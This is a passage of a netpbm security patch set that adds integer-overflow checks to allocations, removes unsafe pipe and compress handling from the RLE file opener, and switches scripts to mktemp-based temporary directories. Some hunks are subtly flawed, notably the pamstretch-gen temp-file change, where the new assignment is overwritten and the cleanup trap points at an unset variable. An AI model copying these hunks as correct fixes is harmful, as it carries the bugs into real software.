+    overflow2(newrows, SCALE);
     sxscale = SCALE * newcols / cols;
     syscale = SCALE * newrows / rows;
 
diff -up netpbm-10.47.04/editor/pnmshear.c.security netpbm-10.47.04/editor/pnmshear.c
--- netpbm-10.47.04/editor/pnmshear.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmshear.c	2009-10-21 15:31:26.000000000 +0200
@@ -15,6 +15,7 @@
 #include <assert.h>
 #include <math.h>
 #include <string.h>
+#include <limits.h>
 
 #include "pm_c_util.h"
 #include "ppm.h"
@@ -236,6 +237,11 @@ main(int argc, char * argv[]) {
 
     shearfac = fabs(tan(cmdline.angle));
 
+    if(rows * shearfac >= INT_MAX-1)
+      pm_error("image too large");
+    
+    overflow_add(rows * shearfac, cols+1);
+
     newcols = rows * shearfac + cols + 0.999999;
 
     pnm_writepnminit(stdout, newcols, rows, newmaxval, newformat, 0);
diff -up netpbm-10.47.04/editor/ppmdither.c.security netpbm-10.47.04/editor/ppmdither.c
--- netpbm-10.47.04/editor/ppmdither.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/ppmdither.c	2009-10-21 15:09:34.000000000 +0200
@@ -111,6 +111,9 @@ dith_matrix(unsigned int const dith_dim)
             (dith_dim * sizeof(int *)) + /* pointers */
             (dith_dim * dith_dim * sizeof(int)); /* data */
 
+        overflow2(dith_dim, sizeof(int *));
+        overflow3(dith_dim, dith_dim, sizeof(int));
+        overflow_add(dith_dim * sizeof(int *), dith_dim * dith_dim * sizeof(int));
         dith_mat = (unsigned int **) malloc(dith_mat_sz);
 
         if (dith_mat == NULL) 
@@ -165,7 +168,8 @@ dith_setup(const unsigned int dith_power
     if (dith_nb < 2) 
         pm_error("too few shades for blue, minimum of 2");
 
-    MALLOCARRAY(*colormapP, dith_nr * dith_ng * dith_nb);
+    overflow2(dith_nr, dith_ng);
+    *colormapP = malloc3(dith_nr * dith_ng, dith_nb,  sizeof(pixel));
     if (*colormapP == NULL) 
         pm_error("Unable to allocate space for the color lookup table "
                  "(%d by %d by %d pixels).", dith_nr, dith_ng, dith_nb);
diff -up netpbm-10.47.04/editor/specialty/pamoil.c.security netpbm-10.47.04/editor/specialty/pamoil.c
--- netpbm-10.47.04/editor/specialty/pamoil.c.security	2009-10-21 13:38:56.000000000 +0200
+++ netpbm-10.47.04/editor/specialty/pamoil.c	2009-10-21 15:09:33.000000000 +0200
@@ -112,6 +112,7 @@ main(int argc, char *argv[] ) {
     tuples = pnm_readpam(ifp, &inpam, PAM_STRUCT_SIZE(tuple_type));
     pm_close(ifp);
 
+    overflow_add(inpam.maxval, 1);
     MALLOCARRAY(hist, inpam.maxval + 1);
     if (hist == NULL)
         pm_error("Unable to allocate memory for histogram.");
diff -up netpbm-10.47.04/generator/pbmpage.c.security netpbm-10.47.04/generator/pbmpage.c
--- netpbm-10.47.04/generator/pbmpage.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/generator/pbmpage.c	2009-10-21 15:09:34.000000000 +0200
@@ -170,6 +170,9 @@ outputPbm(FILE *        const file,
     /* We round the allocated row space up to a multiple of 8 so the ugly
        fast code below can work.
        */
+    
+    overflow_add(bitmap.Width, 7);
+    
     pbmrow = pbm_allocrow(((bitmap.Width+7)/8)*8);
     
     bitmap_cursor = 0;
diff -up netpbm-10.47.04/generator/pbmtext.c.security netpbm-10.47.04/generator/pbmtext.c
--- netpbm-10.47.04/generator/pbmtext.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/generator/pbmtext.c	2009-10-21 15:23:15.000000000 +0200
@@ -96,12 +96,14 @@ parseCommandLine(int argc, const char **
         
         for (i = 1; i < argc; ++i) {
             if (i > 1) {
+                overflow_add(totaltextsize, 1);
                 totaltextsize += 1;
                 text = realloc(text, totaltextsize);
                 if (text == NULL)
                     pm_error("out of memory allocating space for input text");
                 strcat(text, " ");
             } 
+            overflow_add(totaltextsize, strlen(argv[i]));
             totaltextsize += strlen(argv[i]);
             text = realloc(text, totaltextsize);
             if (text == NULL)
@@ -711,6 +713,7 @@ getText(const char          cmdline_text
                 pm_error("A line of input text is longer than %u characters."
                          "Cannot process.", sizeof(buf)-1);
             if (lineCount >= maxlines) {
+                overflow2(maxlines, 2);
                 maxlines *= 2;
                 REALLOCARRAY(text_array, maxlines);
                 if (text_array == NULL)
@@ -831,6 +834,7 @@ main(int argc, const char *argv[]) {
             hmargin = fontP->maxwidth;
         } else {
             vmargin = fontP->maxheight;
+	    overflow2(2, fontP->maxwidth);
             hmargin = 2 * fontP->maxwidth;
         }
     }
diff -up netpbm-10.47.04/generator/pgmcrater.c.security netpbm-10.47.04/generator/pgmcrater.c
--- netpbm-10.47.04/generator/pgmcrater.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/generator/pgmcrater.c	2009-10-21 15:09:34.000000000 +0200
@@ -130,7 +130,7 @@ static void gencraters()
     /* Acquire the elevation array and initialize it to mean
        surface elevation. */
 
-    MALLOCARRAY(aux, SCRX * SCRY);
+    aux = (unsigned short *) malloc3(SCRX, SCRY, sizeof(short));
     if (aux == NULL) 
         pm_error("out of memory allocating elevation array");
 
diff -up netpbm-10.47.04/generator/pgmkernel.c.security netpbm-10.47.04/generator/pgmkernel.c
--- netpbm-10.47.04/generator/pgmkernel.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/generator/pgmkernel.c	2009-10-21 15:09:34.000000000 +0200
@@ -68,7 +68,7 @@ main ( argc, argv )
     kycenter = (fysize - 1) / 2.0;
     ixsize = fxsize + 0.999;
     iysize = fysize + 0.999;
-    MALLOCARRAY(fkernel, ixsize * iysize);
+    fkernel = (double *) malloc3 (ixsize, iysize, sizeof(double));
     for (i = 0; i < iysize; i++) 
         for (j = 0; j < ixsize; j++) {
             fkernel[i*ixsize+j] = 1.0 / (1.0 + w * sqrt((double)
diff -up netpbm-10.47.04/lib/libpam.c.security netpbm-10.47.04/lib/libpam.c
--- netpbm-10.47.04/lib/libpam.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpam.c	2009-10-21 15:09:34.000000000 +0200
@@ -235,7 +235,8 @@ allocPamRow(const struct pam * const pam
     int const bytesPerTuple = allocationDepth(pamP) * sizeof(sample);
     tuple * tuplerow;
 
-    tuplerow = malloc(pamP->width * (sizeof(tuple *) + bytesPerTuple));
+    overflow_add(sizeof(tuple *), bytesPerTuple);
+    tuplerow = malloc2(pamP->width, sizeof(tuple *) + bytesPerTuple);
                       
     if (tuplerow != NULL) {
         /* Now we initialize the pointers to the individual tuples
diff -up netpbm-10.47.04/lib/libpammap.c.security netpbm-10.47.04/lib/libpammap.c
--- netpbm-10.47.04/lib/libpammap.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpammap.c	2009-10-21 15:09:34.000000000 +0200
@@ -104,6 +104,8 @@ allocTupleIntListItem(struct pam * const
     */
     struct tupleint_list_item * retval;
 
+    overflow2(pamP->depth, sizeof(sample));
+    overflow_add(sizeof(*retval)-sizeof(retval->tupleint.tuple), pamP->depth*sizeof(sample));
     unsigned int const size = 
         sizeof(*retval) - sizeof(retval->tupleint.tuple) 
         + pamP->depth * sizeof(sample);
diff -up netpbm-10.47.04/lib/libpbm1.c.security netpbm-10.47.04/lib/libpbm1.c
--- netpbm-10.47.04/lib/libpbm1.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpbm1.c	2009-10-21 15:09:34.000000000 +0200
@@ -77,6 +77,7 @@ pbm_check(FILE * file, const enum pm_che
         pm_message("pm_filepos passed to pm_check() is %u bytes",
                    sizeof(pm_filepos));
 #endif
+        overflow2(bytes_per_row, rows);
         pm_check(file, check_type, need_raster_size, retval_p);
     }
 }
diff -up netpbm-10.47.04/lib/libpbmvms.c.security netpbm-10.47.04/lib/libpbmvms.c
--- netpbm-10.47.04/lib/libpbmvms.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpbmvms.c	2009-10-21 15:09:34.000000000 +0200
@@ -1,3 +1,5 @@
+#warning "NOT AUDITED"
+
 /***************************************************************************
   This file contains library routines needed to build Netpbm for VMS.
   However, as of 2000.05.26, when these were split out of libpbm1.c
diff -up netpbm-10.47.04/lib/libpm.c.security netpbm-10.47.04/lib/libpm.c
--- netpbm-10.47.04/lib/libpm.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpm.c	2009-10-21 15:09:34.000000000 +0200
@@ -827,4 +827,53 @@ pm_parse_height(const char * const arg) 
 }
 
 
+/*
+ *	Maths wrapping
+ */
+ 
+void __overflow2(int a, int b)
+{
+	if(a < 0 || b < 0)
+		pm_error("object too large");
+	if(b == 0)
+		return;
+	if(a > INT_MAX / b)
+		pm_error("object too large");
+}
+
+void overflow3(int a, int b, int c)
+{
+	overflow2(a,b);
+	overflow2(a*b, c);
+}
+
+void overflow_add(int a, int b)
+{
+	if( a > INT_MAX - b)
+		pm_error("object too large");
+}
+
+void *malloc2(int a, int b)
+{
+	overflow2(a, b);
+	if(a*b == 0)
+		pm_error("Zero byte allocation");
+	return malloc(a*b);
+}
+
+void *malloc3(int a, int b, int c)
+{
+	overflow3(a, b, c);
+	if(a*b*c == 0)
+		pm_error("Zero byte allocation");
+	return malloc(a*b*c);
+}
+
+void *realloc2(void * a, int b, int c)
+{
+	overflow2(b, c);
+	if(b*c == 0)
+		pm_error("Zero byte allocation");
+	return realloc(a, b*c);
+}
 
diff -up netpbm-10.47.04/lib/pm.h.security netpbm-10.47.04/lib/pm.h
--- netpbm-10.47.04/lib/pm.h.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/pm.h	2009-10-21 15:09:34.000000000 +0200
@@ -377,4 +377,11 @@ pm_parse_height(const char * const arg);
 #endif
 
 
+void *malloc2(int, int);
+void *malloc3(int, int, int);
+#define overflow2(a,b) __overflow2(a,b)
+void __overflow2(int, int);
+void overflow3(int, int, int);
+void overflow_add(int, int);
+
 #endif
diff -up netpbm-10.47.04/other/pnmcolormap.c.security netpbm-10.47.04/other/pnmcolormap.c
--- netpbm-10.47.04/other/pnmcolormap.c.security	2009-10-21 13:38:54.000000000 +0200
+++ netpbm-10.47.04/other/pnmcolormap.c	2009-10-21 15:09:34.000000000 +0200
@@ -840,6 +840,7 @@ colormapToSquare(struct pam * const pamP
             pamP->width = intsqrt;
         else 
             pamP->width = intsqrt + 1;
+            overflow_add(intsqrt, 1);
     }
     {
         unsigned int const intQuotient = colormap.size / pamP->width;
diff -up netpbm-10.47.04/urt/README.security netpbm-10.47.04/urt/README
--- netpbm-10.47.04/urt/README.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/README	2009-10-21 15:09:34.000000000 +0200
@@ -18,3 +18,8 @@ in its initializer in the original.  But
 defines stdout as a variable, so that wouldn't compile.  So I changed
 it to NULL and added a line to rle_hdr_init to set that field to
 'stdout' dynamically.  2000.06.02 BJH.
+
+Redid the code to check for maths overflows and other crawly horrors.
+Removed pipe through and compress support (unsafe)
+
+Alan Cox <alan at redhat.com>
diff -up netpbm-10.47.04/urt/rle_addhist.c.security netpbm-10.47.04/urt/rle_addhist.c
--- netpbm-10.47.04/urt/rle_addhist.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_addhist.c	2009-10-21 15:09:34.000000000 +0200
@@ -14,6 +14,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * rle_addhist.c - Add to the HISTORY comment in header
@@ -76,13 +78,19 @@ rle_addhist(char *          argv[],
         return;
     
     length = 0;
-    for (i = 0; argv[i]; ++i)
+    for (i = 0; argv[i]; ++i) {
+	overflow_add(length, strlen(argv[i]));
+	overflow_add(length+1, strlen(argv[i]));
         length += strlen(argv[i]) +1;   /* length of each arg plus space. */
+    }
 
     time(&temp);
     timedate = ctime(&temp);
     length += strlen(timedate);        /* length of date and time in ASCII. */
 
+    overflow_add(strlen(padding), 4);
+    overflow_add(strlen(histoire), strlen(padding) + 4);
+    overflow_add(length, strlen(histoire) + strlen(padding) + 4);
     length += strlen(padding) + 3 + strlen(histoire) + 1;
         /* length of padding, "on "  and length of history name plus "="*/
     if (in_hdr) /* if we are interested in the old comments... */
@@ -90,9 +98,12 @@ rle_addhist(char *          argv[],
     else
         old = NULL;
     
-    if (old && *old)
+    if (old && *old) {
+	overflow_add(length, strlen(old));
         length += strlen(old);       /* add length if there. */
+    }
 
+    overflow_add(length, 1);
     ++length;                               /*Cater for the null. */
 
     MALLOCARRAY(newc, length);
diff -up netpbm-10.47.04/urt/rle_getrow.c.security netpbm-10.47.04/urt/rle_getrow.c
--- netpbm-10.47.04/urt/rle_getrow.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_getrow.c	2009-10-21 15:09:34.000000000 +0200
@@ -17,6 +17,8 @@
  *
  *  Modified at BRL 16-May-88 by Mike Muuss to avoid Alliant STDC desire
  *  to have all "void" functions so declared.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * rle_getrow.c - Read an RLE file in.
@@ -168,6 +170,7 @@ rle_get_setup(rle_hdr * const the_hdr) {
         register char * cp;
 
         VAXSHORT( comlen, infile ); /* get comment length */
+	overflow_add(comlen, 1);
         evenlen = (comlen + 1) & ~1;    /* make it even */
         if ( evenlen )
         {
diff -up netpbm-10.47.04/urt/rle_hdr.c.security netpbm-10.47.04/urt/rle_hdr.c
--- netpbm-10.47.04/urt/rle_hdr.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_hdr.c	2009-10-21 15:09:34.000000000 +0200
@@ -14,6 +14,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * rle_hdr.c - Functions to manipulate rle_hdr structures.
@@ -79,7 +81,10 @@ int img_num;
     /* Fill in with copies of the strings. */
     if ( the_hdr->cmd != pgmname )
     {
-	char *tmp = (char *)malloc( strlen( pgmname ) + 1 );
+	char *tmp ;
+
+	overflow_add(strlen(pgmname), 1);
+	tmp = malloc( strlen( pgmname ) + 1 );
 	RLE_CHECK_ALLOC( pgmname, tmp, 0 );
 	strcpy( tmp, pgmname );
 	the_hdr->cmd = tmp;
@@ -87,7 +92,9 @@ int img_num;
 
     if ( the_hdr->file_name != fname )
     {
-	char *tmp = (char *)malloc( strlen( fname ) + 1 );
+	char *tmp;
+	overflow_add(strlen(fname), 1);
+	tmp = malloc( strlen( fname ) + 1 );
 	RLE_CHECK_ALLOC( pgmname, tmp, 0 );
 	strcpy( tmp, fname );
 	the_hdr->file_name = tmp;
@@ -152,6 +159,7 @@ rle_hdr *from_hdr, *to_hdr;
     if ( to_hdr->bg_color )
     {
 	int size = to_hdr->ncolors * sizeof(int);
+	overflow2(to_hdr->ncolors, sizeof(int));
 	to_hdr->bg_color = (int *)malloc( size );
 	RLE_CHECK_ALLOC( to_hdr->cmd, to_hdr->bg_color, "background color" );
 	memcpy( to_hdr->bg_color, from_hdr->bg_color, size );
@@ -160,7 +168,7 @@ rle_hdr *from_hdr, *to_hdr;
     if ( to_hdr->cmap )
     {
 	int size = to_hdr->ncmap * (1 << to_hdr->cmaplen) * sizeof(rle_map);
-	to_hdr->cmap = (rle_map *)malloc( size );
+	to_hdr->cmap = (rle_map *)malloc3( to_hdr->ncmap, 1<<to_hdr->cmaplen, sizeof(rle_map));
 	RLE_CHECK_ALLOC( to_hdr->cmd, to_hdr->cmap, "color map" );
 	memcpy( to_hdr->cmap, from_hdr->cmap, size );
     }
@@ -173,11 +181,16 @@ rle_hdr *from_hdr, *to_hdr;
 	int size = 0;
 	CONST_DECL char **cp;
 	for ( cp=to_hdr->comments; *cp; cp++ )
+	{
+	    overflow_add(size, 1);
 	    size++;		/* Count the comments. */
+ 	}
 	/* Check if there are really any comments. */
 	if ( size )
 	{
+	    overflow_add(size, 1);
 	    size++;		/* Copy the NULL pointer, too. */
+	    overflow2(size, sizeof(char *));
 	    size *= sizeof(char *);
 	    to_hdr->comments = (CONST_DECL char **)malloc( size );
 	    RLE_CHECK_ALLOC( to_hdr->cmd, to_hdr->comments, "comments" );
diff -up netpbm-10.47.04/urt/rle.h.security netpbm-10.47.04/urt/rle.h
--- netpbm-10.47.04/urt/rle.h.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle.h	2009-10-21 15:09:34.000000000 +0200
@@ -14,6 +14,9 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
+ *  Header declarations needed
  */
 /* 
  * rle.h - Global declarations for Utah Raster Toolkit RLE programs.
@@ -166,6 +169,17 @@ rle_hdr             /* End of typedef. *
  */
 extern rle_hdr rle_dflt_hdr;
 
+/* 
+ * Provided by pm library
+ */
+ 
+extern void overflow_add(int, int);
+#define overflow2(a,b) __overflow2(a,b)
+extern void __overflow2(int, int);
+extern void overflow3(int, int, int);
+extern void *malloc2(int, int);
+extern void *malloc3(int, int, int);
+extern void *realloc2(void *, int, int);
 
 /* Declare RLE library routines. */
 
diff -up netpbm-10.47.04/urt/rle_open_f.c.security netpbm-10.47.04/urt/rle_open_f.c
--- netpbm-10.47.04/urt/rle_open_f.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_open_f.c	2009-10-21 15:15:38.000000000 +0200
@@ -163,64 +163,7 @@ dealWithSubprocess(const char *  const f
                    bool *        const noSubprocessP,
                    const char ** const errorP) {
 
-#ifdef NO_OPEN_PIPES
     *noSubprocessP = TRUE;
-#else
-    const char *cp;
-
-    reapChildren(catchingChildrenP, pids);
-
-    /*  Real file, not stdin or stdout.  If name ends in ".Z",
-     *  pipe from/to un/compress (depending on r/w mode).
-     *  
-     *  If it starts with "|", popen that command.
-     */
-        
-    cp = file_name + strlen(file_name) - 2;
-    /* Pipe case. */
-    if (file_name[0] == '|') {
-        pid_t thepid;     /* PID from my_popen */
-
-        *noSubprocessP = FALSE;
-
-        *fpP = my_popen(file_name + 1, mode, &thepid);
-        if (*fpP == NULL)
-            *errorP = "%s: can't invoke <<%s>> for %s: ";
-        else {
-            /* One more child to catch, eventually. */
-            if (*catchingChildrenP < MAX_CHILDREN)
-                pids[(*catchingChildrenP)++] = thepid;
-        }
-    } else if (cp > file_name && *cp == '.' && *(cp + 1) == 'Z' ) {
-        /* Compress case. */
-        pid_t thepid;     /* PID from my_popen. */
-        const char * command;
-
-        *noSubprocessP = FALSE;
-        
-        if (*mode == 'w')
-            asprintfN(&command, "compress > %s", file_name);
-        else if (*mode == 'a')
-            asprintfN(&command, "compress >> %s", file_name);
-        else
-            asprintfN(&command, "compress -d < %s", file_name);
-        
-        *fpP = my_popen(command, mode, &thepid);
-
-        if (*fpP == NULL)
-            *errorP = "%s: can't invoke 'compress' program, "
-                "trying to open %s for %s";
-        else {
-            /* One more child to catch, eventually. */
-            if (*catchingChildrenP < MAX_CHILDREN)
-                pids[(*catchingChildrenP)++] = thepid;
-        }
-        strfree(command);
-    } else {
-        *noSubprocessP = TRUE;
-        *errorP = NULL;
-    }
-#endif
 }
 
 
diff -up netpbm-10.47.04/urt/rle_putcom.c.security netpbm-10.47.04/urt/rle_putcom.c
--- netpbm-10.47.04/urt/rle_putcom.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_putcom.c	2009-10-21 15:09:34.000000000 +0200
@@ -14,6 +14,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * rle_putcom.c - Add a picture comment to the header struct.
@@ -98,12 +100,14 @@ rle_putcom(const char * const value,
         const char * v;
         const char ** old_comments;
         int i;
-        for (i = 2, cp = the_hdr->comments; *cp != NULL; ++i, ++cp)
+        for (i = 2, cp = the_hdr->comments; *cp != NULL; ++i, ++cp) {
+	    overflow_add(i, 1);
             if (match(value, *cp) != NULL) {
                 v = *cp;
                 *cp = value;
                 return v;
             }
+	}
         /* Not found */
         /* Can't realloc because somebody else might be pointing to this
          * comments block.  Of course, if this were true, then the
diff -up netpbm-10.47.04/urt/Runput.c.security netpbm-10.47.04/urt/Runput.c
--- netpbm-10.47.04/urt/Runput.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/Runput.c	2009-10-21 15:09:34.000000000 +0200
@@ -17,6 +17,8 @@
  *
  *  Modified at BRL 16-May-88 by Mike Muuss to avoid Alliant STDC desire
  *  to have all "void" functions so declared.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * Runput.c - General purpose Run Length Encoding.
@@ -202,9 +204,11 @@ RunSetup(rle_hdr * the_hdr)
     if ( the_hdr->background != 0 )
     {
 	register int i;
-	register rle_pixel *background =
-	    (rle_pixel *)malloc( (unsigned)(the_hdr->ncolors + 1) );
+	register rle_pixel *background;
 	register int *bg_color;
+
+	overflow_add(the_hdr->ncolors,1);
+	background = (rle_pixel *)malloc( (unsigned)(the_hdr->ncolors + 1) );
 	/* 
 	 * If even number of bg color bytes, put out one more to get to 
 	 * 16 bit boundary.
@@ -224,7 +228,7 @@ RunSetup(rle_hdr * the_hdr)
 	/* Big-endian machines are harder */
 	register int i, nmap = (1 << the_hdr->cmaplen) *
 			       the_hdr->ncmap;
-	register char *h_cmap = (char *)malloc( nmap * 2 );
+	register char *h_cmap = (char *)malloc2( nmap, 2 );
 	if ( h_cmap == NULL )
 	{
 	    fprintf( stderr,
diff -up netpbm-10.47.04/urt/scanargs.c.security netpbm-10.47.04/urt/scanargs.c
--- netpbm-10.47.04/urt/scanargs.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/scanargs.c	2009-10-21 15:09:34.000000000 +0200
@@ -38,6 +38,8 @@
  *
  *  Modified at BRL 16-May-88 by Mike Muuss to avoid Alliant STDC desire
  *  to have all "void" functions so declared.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 
 #include "rle.h"
@@ -65,8 +67,8 @@ typedef int *ptr;
 /* 
  * Storage allocation macros
  */
-#define NEW( type, cnt )	(type *) malloc( (cnt) * sizeof( type ) )
-#define RENEW( type, ptr, cnt )	(type *) realloc( ptr, (cnt) * sizeof( type ) )
+#define NEW( type, cnt )	(type *) malloc2( (cnt) , sizeof( type ) )
+#define RENEW( type, ptr, cnt )	(type *) realloc2( ptr, (cnt), sizeof( type ) )
 
 #if defined(c_plusplus) && !defined(USE_PROTOTYPES)
 #define USE_PROTOTYPES

netpbm-security-scripts.patch:
 converter/other/anytopnm |   13 +++-
 editor/pamstretch-gen    |    4 -
 editor/pnmmargin         |   32 ++++++----
 editor/ppmfade           |  137 ++++++++++++++++++++++++-----------------------
 editor/ppmquantall       |    8 --
 editor/ppmshadow         |    7 +-
 6 files changed, 108 insertions(+), 93 deletions(-)

--- NEW FILE netpbm-security-scripts.patch ---
diff -up netpbm-10.47.04/converter/other/anytopnm.security2 netpbm-10.47.04/converter/other/anytopnm
--- netpbm-10.47.04/converter/other/anytopnm.security2	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/anytopnm	2009-10-21 14:51:49.000000000 +0200
@@ -510,10 +510,7 @@ else
     inputFile="-"
 fi
 
-tempdir="${TMPDIR-/tmp}/anytopnm.$$"
-mkdir -m 0700 $tempdir || \
-  { echo "Could not create temporary file. Exiting."; exit 1;}
-trap 'rm -rf $tempdir' 0
+tempdir=$(mktemp -d -t anytopnm.XXXXXXXXXX) || exit 1
 
 # Take out all spaces
 # Find the filename extension for last-ditch efforts later
@@ -539,9 +536,17 @@ if [ "$filetype" = "unknown" ]; then
     echo "$progname: unknown file type.  " \
         "'file' says mime type is '$mimeType', " 1>&2
     echo "type description is '$typeDescription'" 1>&2
+    if [ -d "$tempdir" ] ; then
+        rm -rf "$tempdir"
+    fi
+
     exit 1
     fi
 
 convertIt $file $filetype
 
+if [ -d "$tempdir" ] ; then
+    rm -rf "$tempdir"
+fi
+
 exit 0
diff -up netpbm-10.47.04/editor/pamstretch-gen.security2 netpbm-10.47.04/editor/pamstretch-gen
--- netpbm-10.47.04/editor/pamstretch-gen.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pamstretch-gen	2009-10-21 14:53:28.000000000 +0200
@@ -31,9 +31,7 @@ if [ "$1" = "" ]; then
   exit 1
 fi
 
-tempdir="${TMPDIR-/tmp}/pamstretch-gen.$$"
-mkdir -m 0700 $tempdir || \
-  { echo "Could not create temporary file. Exiting."; exit 1;}
+tempfile=$(mktemp /tmp/pnmig.XXXXXXXXXX) || exit 1
 trap 'rm -rf $tempdir' 0 1 3 15
 
 tempfile=$tempdir/pnmig
diff -up netpbm-10.47.04/editor/pnmmargin.security2 netpbm-10.47.04/editor/pnmmargin
--- netpbm-10.47.04/editor/pnmmargin.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmmargin	2009-10-21 14:55:40.000000000 +0200
@@ -11,15 +11,11 @@
 # documentation.  This software is provided "as is" without express or
 # implied warranty.
 
-tempdir="${TMPDIR-/tmp}/pnmmargin.$$"
-mkdir -m 0700 $tempdir || \
-  { echo "Could not create temporary file. Exiting." 1>&2; exit 1;}
-trap 'rm -rf $tempdir' 0 1 3 15
-
-tmp1=$tempdir/pnmm1
-tmp2=$tempdir/pnmm2
-tmp3=$tempdir/pnmm3
-tmp4=$tempdir/pnmm4
+tmpdir=$(mktemp -d -t ppmmargin.XXXXXXX) || exit 1
+tmp1="$tmpdir/tmp1"
+tmp2="$tmpdir/tmp2"
+tmp3="$tmpdir/tmp3"
+tmp4="$tmpdir/tmp4"
 
 color="-gofigure"
 plainopt=""
@@ -43,6 +39,9 @@ while true ; do
 	shift
 	if [ ! ${1-""} ] ; then
        	    echo "usage: $0 [-white|-black|-color <colorspec>] <size> [pnmfile]" 1>&2
+            if [ -d "$tmpdir" ]; then
+                rm -rf "$tmpdir"
+            fi
 	    exit 1
 	fi
 	color="$1"
@@ -50,6 +49,9 @@ while true ; do
 	;;
 	-* )
 	echo "usage: $0 [-white|-black|-color <colorspec>] <size> [pnmfile]" 1>&2
+        if [ -d "$tmpdir" ]; then
+            rm -rf "$tmpdir"
+        fi
 	exit 1
 	;;
 	* )
@@ -60,6 +62,9 @@ done
 
 if [ ! ${1-""} ] ; then
     echo "usage: $0 [-white|-black|-color <colorspec>] <size> [pnmfile]" 1>&2
+    if [ -d "$tmpdir" ]; then
+        rm -rf "$tmpdir"
+    fi
     exit 1
 fi
 size="$1"
@@ -67,6 +72,9 @@ shift
 
 if [ ${2-""} ] ; then
     echo "usage: $0 [-white|-black|-color <colorspec>] <size> [pnmfile]" 1>&2
+    if [ -d "$tmpdir" ]; then
+        rm -rf "$tmpdir"
+    fi
     exit 1
 fi
 
@@ -103,6 +111,6 @@ else
     pnmcat -tb $plainopt $tmp3 $tmp4 $tmp3
 fi
 
-
-
-
+if [ -d "$tmpdir" ]; then
+    rm -rf "$tmpdir"
+fi
diff -up netpbm-10.47.04/editor/ppmfade.security2 netpbm-10.47.04/editor/ppmfade
--- netpbm-10.47.04/editor/ppmfade.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/ppmfade	2009-10-21 15:03:01.000000000 +0200
@@ -14,6 +14,7 @@
 #
 #-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
 use strict;
+use File::Temp "tempdir";
 
 my $SPREAD =  1;
 my $SHIFT =   2;
@@ -111,20 +112,26 @@ if ($first_file ne "undefined") {
 
 print("Frames are " . $width . "W x " . $height . "H\n");
 
+#
+# We create a tmp-directory right here
+#
+my $tmpdir = tempdir("ppmfade.XXXXXX", CLEANUP => 1);
+
+
 if ($first_file eq "undefined") {
     print "Fading from black to ";
-    system("ppmmake \\#000 $width $height >junk1$$.ppm");
+    system("ppmmake \\#000 $width $height >$tmpdir/junk1$$.ppm");
 } else {
     print "Fading from $first_file to ";
-    system("cp", $first_file, "junk1$$.ppm");
+    system("cp", $first_file, "$tmpdir/junk1$$.ppm");
 }
 
 if ($last_file eq "undefined") {
     print "black.\n";
-    system("ppmmake \\#000 $width $height >junk2$$.ppm");
+    system("ppmmake \\#000 $width $height >$tmpdir/junk2$$.ppm");
 } else {
     print "$last_file\n";
-    system("cp", $last_file, "junk2$$.ppm");
+    system("cp", $last_file, "$tmpdir/junk2$$.ppm");
 }
 
 #
@@ -132,14 +139,14 @@ if ($last_file eq "undefined") {
 #
 
 # Here's what our temporary files are:
-#   junk1$$.ppm: The original (fade-from) image
-#   junk2$$.ppm: The target (fade-from) image
-#   junk3$$.ppm: The frame of the fade for the current iteration of the 
-#                the for loop.
-#   junk1a$$.ppm: If the fade involves a ppmmix sequence from one intermediate
-#                 image to another, this is the first frame of that 
-#                 sequence.
-#   junk2a$$.ppm: This is the last frame of the above-mentioned ppmmix sequence
+#   $tmpdir/junk1$$.ppm: The original (fade-from) image
